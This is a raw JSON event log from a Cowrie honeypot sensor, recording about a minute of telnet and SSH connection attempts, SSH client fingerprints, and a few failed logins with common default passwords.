{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49988,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f3b819695d","protocol":"telnet","message":"New connection: 23.254.167.244:49988 (159.203.135.109:23) [session: f1f3b819695d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:51.426099Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50072,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad228f12f45","protocol":"telnet","message":"New connection: 23.254.167.244:50072 (159.203.135.109:23) [session: 9ad228f12f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:51.522745Z"}
{"eventid":"cowrie.session.closed","duration":35.43736720085144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:53.286569Z","src_ip":"185.26.126.47","session":"e29204947c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.683056354522705,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:53.687608Z","src_ip":"209.159.146.115","session":"7e56ef6f8e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71443486213684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:54.361089Z","src_ip":"209.159.146.115","session":"06ee3400a1fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54494,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab35657bfe15","protocol":"telnet","message":"New connection: 23.254.167.244:54494 (159.203.135.109:23) [session: ab35657bfe15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:55.073048Z"}
{"eventid":"cowrie.session.closed","duration":32.49798536300659,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:55.263313Z","src_ip":"209.159.146.115","session":"f8ededa686c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55144,"dst_ip":"159.203.135.109","dst_port":23,"session":"94742f9bde27","protocol":"telnet","message":"New connection: 23.254.167.244:55144 (159.203.135.109:23) [session: 94742f9bde27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:55.761811Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50734,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bd8cade6111","protocol":"telnet","message":"New connection: 209.159.146.115:50734 (159.203.135.109:23) [session: 7bd8cade6111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:56.344370Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57136,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d2c4a57f352","protocol":"telnet","message":"New connection: 23.254.167.244:57136 (159.203.135.109:23) [session: 4d2c4a57f352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:57.788898Z"}
{"eventid":"cowrie.session.closed","duration":35.249905824661255,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:58.039932Z","src_ip":"23.254.167.244","session":"01e03cb224a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48010,"dst_ip":"159.203.135.109","dst_port":22,"session":"a89666e2bfd2","protocol":"ssh","message":"New connection: 159.203.92.129:48010 (159.203.135.109:22) [session: a89666e2bfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:58.628409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:58.632063Z","src_ip":"159.203.92.129","session":"a89666e2bfd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:58.636062Z","src_ip":"159.203.92.129","session":"a89666e2bfd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anjian","password":"123456","message":"login attempt [anjian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:58.646801Z","src_ip":"159.203.92.129","session":"a89666e2bfd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60932,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d36446c3e0f","protocol":"telnet","message":"New connection: 23.254.167.244:60932 (159.203.135.109:23) [session: 0d36446c3e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:59.271579Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:10:59.673487Z","src_ip":"159.203.92.129","session":"a89666e2bfd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.572972774505615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:00.472450Z","src_ip":"23.254.167.244","session":"431d09810c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34714,"dst_ip":"159.203.135.109","dst_port":23,"session":"64843436711c","protocol":"telnet","message":"New connection: 23.254.167.244:34714 (159.203.135.109:23) [session: 64843436711c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:00.872714Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46208,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b3b29cb75ff","protocol":"telnet","message":"New connection: 185.26.126.47:46208 (159.203.135.109:23) [session: 4b3b29cb75ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:00.913046Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"9befa2757c29","protocol":"telnet","message":"New connection: 209.159.146.115:55304 (159.203.135.109:23) [session: 9befa2757c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:06.050276Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59310,"dst_ip":"159.203.135.109","dst_port":23,"session":"922b8af667b7","protocol":"telnet","message":"New connection: 209.159.146.115:59310 (159.203.135.109:23) [session: 922b8af667b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:06.875698Z"}
{"eventid":"cowrie.session.closed","duration":6.106004238128662,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:07.018914Z","src_ip":"185.26.126.47","session":"4b3b29cb75ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.967124223709106,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:09.932204Z","src_ip":"23.254.167.244","session":"c864b51b3cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62999176979065,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:10.153775Z","src_ip":"23.254.167.244","session":"06f4fa894a6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43632,"dst_ip":"159.203.135.109","dst_port":23,"session":"8401d28d11d7","protocol":"telnet","message":"New connection: 209.159.146.115:43632 (159.203.135.109:23) [session: 8401d28d11d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:10.346030Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45300,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43e425b5b91","protocol":"telnet","message":"New connection: 23.254.167.244:45300 (159.203.135.109:23) [session: a43e425b5b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:11.267155Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9fde5c21ecb","protocol":"telnet","message":"New connection: 23.254.167.244:46338 (159.203.135.109:23) [session: b9fde5c21ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:11.452853Z"}
{"eventid":"cowrie.session.closed","duration":38.41731405258179,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:12.952874Z","src_ip":"23.254.167.244","session":"a424e4fd42c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.419705629348755,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:16.342808Z","src_ip":"23.254.167.244","session":"08d172665672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89901661872864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:18.170156Z","src_ip":"23.254.167.244","session":"dd33b5ef87ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35220,"dst_ip":"159.203.135.109","dst_port":23,"session":"09ac381c1fa0","protocol":"telnet","message":"New connection: 23.254.167.244:35220 (159.203.135.109:23) [session: 09ac381c1fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:21.294056Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34716,"dst_ip":"159.203.135.109","dst_port":23,"session":"a854391cee24","protocol":"telnet","message":"New connection: 209.159.146.115:34716 (159.203.135.109:23) [session: a854391cee24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:22.208568Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39426,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce1839d59784","protocol":"telnet","message":"New connection: 23.254.167.244:39426 (159.203.135.109:23) [session: ce1839d59784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:24.785072Z"}
{"eventid":"cowrie.session.closed","duration":35.83792448043823,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:27.263907Z","src_ip":"23.254.167.244","session":"f1f3b819695d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.30736231803894,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:28.571368Z","src_ip":"23.254.167.244","session":"ef6f962efbd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40310,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e53fd6a05d","protocol":"telnet","message":"New connection: 23.254.167.244:40310 (159.203.135.109:23) [session: d1e53fd6a05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:28.598287Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55048,"dst_ip":"159.203.135.109","dst_port":23,"session":"c76fa7dd82af","protocol":"telnet","message":"New connection: 209.159.146.115:55048 (159.203.135.109:23) [session: c76fa7dd82af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:29.445768Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60680,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd37bf227858","protocol":"telnet","message":"New connection: 209.159.146.115:60680 (159.203.135.109:23) [session: cd37bf227858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:31.414575Z"}
{"eventid":"cowrie.session.closed","duration":40.63991689682007,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:32.162533Z","src_ip":"23.254.167.244","session":"9ad228f12f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35870,"dst_ip":"159.203.135.109","dst_port":23,"session":"80711775851c","protocol":"telnet","message":"New connection: 209.159.146.115:35870 (159.203.135.109:23) [session: 80711775851c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:32.571359Z"}
{"eventid":"cowrie.session.closed","duration":37.34632205963135,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:33.108019Z","src_ip":"23.254.167.244","session":"94742f9bde27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49138,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f53c022d556","protocol":"telnet","message":"New connection: 23.254.167.244:49138 (159.203.135.109:23) [session: 1f53c022d556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:33.270275Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":49950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4f3195c97f6","protocol":"ssh","message":"New connection: 157.66.34.121:49950 (159.203.135.109:22) [session: a4f3195c97f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:33.639285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:33.643561Z","src_ip":"157.66.34.121","session":"a4f3195c97f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:33.877428Z","src_ip":"157.66.34.121","session":"a4f3195c97f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.86790657043457,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:33.940846Z","src_ip":"23.254.167.244","session":"ab35657bfe15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49952,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c786f96577","protocol":"telnet","message":"New connection: 23.254.167.244:49952 (159.203.135.109:23) [session: 44c786f96577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:34.171174Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password","message":"login attempt [administrator/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:34.847834Z","src_ip":"157.66.34.121","session":"a4f3195c97f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63811421394348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:35.510693Z","src_ip":"23.254.167.244","session":"64843436711c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31360602378845,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:35.585104Z","src_ip":"23.254.167.244","session":"0d36446c3e0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:36.084224Z","src_ip":"157.66.34.121","session":"a4f3195c97f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.5021870136261,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:36.290943Z","src_ip":"23.254.167.244","session":"4d2c4a57f352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02256965637207,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:37.366718Z","src_ip":"209.159.146.115","session":"7bd8cade6111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.452229738235474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:38.502385Z","src_ip":"209.159.146.115","session":"9befa2757c29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04159212112427,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:40.917137Z","src_ip":"209.159.146.115","session":"922b8af667b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.127846002578735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:41.473756Z","src_ip":"209.159.146.115","session":"8401d28d11d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34428,"dst_ip":"159.203.135.109","dst_port":22,"session":"623d2320bf66","protocol":"ssh","message":"New connection: 159.203.92.129:34428 (159.203.135.109:22) [session: 623d2320bf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:43.499009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:43.503561Z","src_ip":"159.203.92.129","session":"623d2320bf66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:43.508257Z","src_ip":"159.203.92.129","session":"623d2320bf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.0638313293457,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:43.516557Z","src_ip":"23.254.167.244","session":"b9fde5c21ecb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"anjian","password":"anjian","message":"login attempt [anjian/anjian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:43.521701Z","src_ip":"159.203.92.129","session":"623d2320bf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56966,"dst_ip":"159.203.135.109","dst_port":23,"session":"2750616b347f","protocol":"telnet","message":"New connection: 209.159.146.115:56966 (159.203.135.109:23) [session: 2750616b347f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:43.554230Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:44.527249Z","src_ip":"159.203.92.129","session":"623d2320bf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37040,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59df56ccc14","protocol":"telnet","message":"New connection: 23.254.167.244:37040 (159.203.135.109:23) [session: a59df56ccc14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:11:45.205434Z"}
